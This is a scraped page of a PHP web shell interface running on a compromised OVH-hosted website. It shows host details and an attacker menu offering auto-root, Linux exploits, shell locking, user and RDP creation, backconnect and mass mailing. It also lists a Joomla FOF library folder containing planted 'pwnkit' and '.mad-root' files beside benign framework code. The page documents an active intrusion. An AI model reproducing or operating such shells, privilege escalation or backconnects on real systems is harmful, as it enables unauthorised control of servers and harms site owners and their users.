Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.120.20.2 | : 216.73.216.49
Cant Read [ /etc/named.conf ]
8.5.7
verseaumee
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
verseaumee /
www /
libraries /
fof30 /
Form /
Field /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
AccessLevel.php
4.01
KB
-rw----r--
Actions.php
5.81
KB
-rw----r--
Boolean.php
1.39
KB
-rw----r--
BooleanToggle.php
1.5
KB
-rw----r--
Button.php
3.01
KB
-rw----r--
CacheHandler.php
3.04
KB
-rw----r--
Calendar.php
7.91
KB
-rw----r--
Callback.php
3.78
KB
-rw----r--
Captcha.php
2.17
KB
-rw----r--
Checkbox.php
3.7
KB
-rw----r--
Checkboxes.php
3.27
KB
-rw----r--
Color.php
2.54
KB
-rw----r--
Components.php
6.43
KB
-rw----r--
Editor.php
2.98
KB
-rw----r--
Email.php
4.9
KB
-rw----r--
GenericList.php
10.52
KB
-rw----r--
GroupedButton.php
3.18
KB
-rw----r--
GroupedList.php
4.7
KB
-rw----r--
Hidden.php
2.16
KB
-rw----r--
Image.php
432
B
-rw----r--
ImageList.php
4.28
KB
-rw----r--
Images.php
2.46
KB
-rw----r--
Integer.php
2.69
KB
-rw----r--
Language.php
3.75
KB
-rw----r--
Media.php
4.32
KB
-rw----r--
Model.php
8.38
KB
-rw----r--
Number.php
3.43
KB
-rw----r--
Numeric.php
699
B
-rw----r--
Ordering.php
7.33
KB
-rw----r--
Password.php
3
KB
-rw----r--
Plugins.php
3.03
KB
-rw----r--
Published.php
5.17
KB
-rw----r--
Radio.php
3.02
KB
-rw----r--
Relation.php
5.2
KB
-rw----r--
RowSelect.php
392
B
-rw----r--
Rules.php
10.84
KB
-rw----r--
SelectRow.php
3.39
KB
-rw----r--
SessionHandler.php
3.05
KB
-rw----r--
Spacer.php
2.18
KB
-rw----r--
Sql.php
3.04
KB
-rw----r--
Tag.php
4.17
KB
-rw----r--
Tel.php
4.93
KB
-rw----r--
Text.php
7.73
KB
-rw----r--
TextArea.php
3
KB
-rw----r--
Timezone.php
3.38
KB
-rw----r--
Title.php
1.47
KB
-rw----r--
Url.php
4.87
KB
-rw----r--
User.php
8.21
KB
-rw----r--
UserGroup.php
4.46
KB
-rw----r--
ViewTemplate.php
3.97
KB
-rw----r--
pwnkit
0
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Components.php
<?php /** * @package FOF * @copyright Copyright (c)2010-2019 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU GPL version 2 or later */ namespace FOF30\Form\Field; use FOF30\Form\FieldInterface; use FOF30\Form\Form; use FOF30\Model\DataModel; use JText; defined('_JEXEC') or die; \JFormHelper::loadFieldClass('list'); /** * Form Field class for FOF * Components installed on the site * * @deprecated 3.1 Support for XML forms will be removed in FOF 4 */ class Components extends \JFormFieldList implements FieldInterface { /** * @var string Static field output */ protected $static; /** * @var string Repeatable field output */ protected $repeatable; /** * The Form object of the form attached to the form field. * * @var Form */ protected $form; /** * A monotonically increasing number, denoting the row number in a repeatable view * * @var int */ public $rowid; /** * The item being rendered in a repeatable form field * * @var DataModel */ public $item; /** * Override for the list of client IDs. Comma separated list, e.g. "0,1" * * @var string */ public $client_ids = null; /** * Method to get certain otherwise inaccessible properties from the form field object. * * @param string $name The property name for which to the the value. * * @return mixed The property value or null. * * @since 2.1 */ public function __get($name) { switch ($name) { case 'static': if (empty($this->static)) { $this->static = $this->getStatic(); } return $this->static; break; case 'repeatable': if (empty($this->repeatable)) { $this->repeatable = $this->getRepeatable(); } return $this->repeatable; break; default: return parent::__get($name); } } /** * Get the rendering of this field type for static display, e.g. in a single * item view (typically a "read" task). * * @since 2.1 * * @return string The field HTML */ public function getStatic() { $options = array( 'id' => $this->id ); return $this->getFieldContents($options); } /** * Get the rendering of this field type for a repeatable (grid) display, * e.g. in a view listing many item (typically a "browse" task) * * @since 2.1 * * @return string The field HTML */ public function getRepeatable() { $options = array( 'class' => $this->id ); return $this->getFieldContents($options); } /** * Method to get the field input markup. * * @param array $fieldOptions Options to be passed into the field * * @return string The field HTML */ public function getFieldContents(array $fieldOptions = array()) { $id = isset($fieldOptions['id']) ? 'id="' . $fieldOptions['id'] . '" ' : ''; $class = $this->class . (isset($fieldOptions['class']) ? ' ' . $fieldOptions['class'] : ''); return '<span ' . ($id ? $id : '') . 'class="' . $class . '">' . htmlspecialchars(GenericList::getOptionName($this->getOptions(), $this->value), ENT_COMPAT, 'UTF-8') . '</span>'; } /** * Get a list of all installed components and also translates them. * * The manifest_cache is used to get the extension names, since JInstaller is also * translating those names in stead of the name column. Else some of the translations * fails. * * @since 2.1 * * @return array An array of JHtml options. */ protected function getOptions() { $db = $this->form->getContainer()->platform->getDbo(); // Check for client_ids override if ($this->client_ids !== null) { $client_ids = $this->client_ids; } else { $client_ids = $this->element['client_ids']; } $client_ids = explode(',', $client_ids); // Calculate client_ids where clause foreach ($client_ids as &$client_id) { $client_id = (int) trim($client_id); $client_id = $db->q($client_id); } $query = $db->getQuery(true) ->select( array( $db->qn('name'), $db->qn('element'), $db->qn('client_id'), $db->qn('manifest_cache'), ) ) ->from($db->qn('#__extensions')) ->where($db->qn('type') . ' = ' . $db->q('component')) ->where($db->qn('client_id') . ' IN (' . implode(',', $client_ids) . ')'); $components = $db->setQuery($query)->loadObjectList('element'); // Convert to array of objects, so we can use sortObjects() // Also translate component names with JText::_() $aComponents = array(); $user = $this->form->getContainer()->platform->getUser(); foreach ($components as $component) { // Don't show components in the list where the user doesn't have access for // TODO: perhaps add an option for this if (!$user->authorise('core.manage', $component->element)) { continue; } $oData = (object) array( 'value' => $component->element, 'text' => $this->translate($component, 'component') ); $aComponents[$component->element] = $oData; } // Reorder the components array, because the alphabetical // ordering changed due to the JText::_() translation uasort( $aComponents, function ($a, $b) { return strcasecmp($a->text, $b->text); } ); return $aComponents; } /** * Translate a list of objects with JText::_(). * * @param \stdClass $item The component object * @param string $type The extension type (e.g. component) * * @since 2.1 * * @return string $text The translated name of the extension * * @see administrator/com_installer/models/extension.php */ public function translate($item, $type) { $platform = $this->form->getContainer()->platform; // Map the manifest cache to $item. This is needed to get the name from the // manifest_cache and NOT from the name column, else some JText::_() translations fails. $mData = json_decode($item->manifest_cache); if ($mData) { foreach ($mData as $key => $value) { if ($key == 'type') { // Ignore the type field continue; } $item->$key = $value; } } $lang = $platform->getLanguage(); switch ($type) { case 'component': $source = JPATH_ADMINISTRATOR . '/components/' . $item->element; $lang->load("$item->element.sys", JPATH_ADMINISTRATOR, null, false, false) || $lang->load("$item->element.sys", $source, null, false, false) || $lang->load("$item->element.sys", JPATH_ADMINISTRATOR, $lang->getDefault(), false, false) || $lang->load("$item->element.sys", $source, $lang->getDefault(), false, false); break; } $text = JText::_($item->name); return $text; } }
Close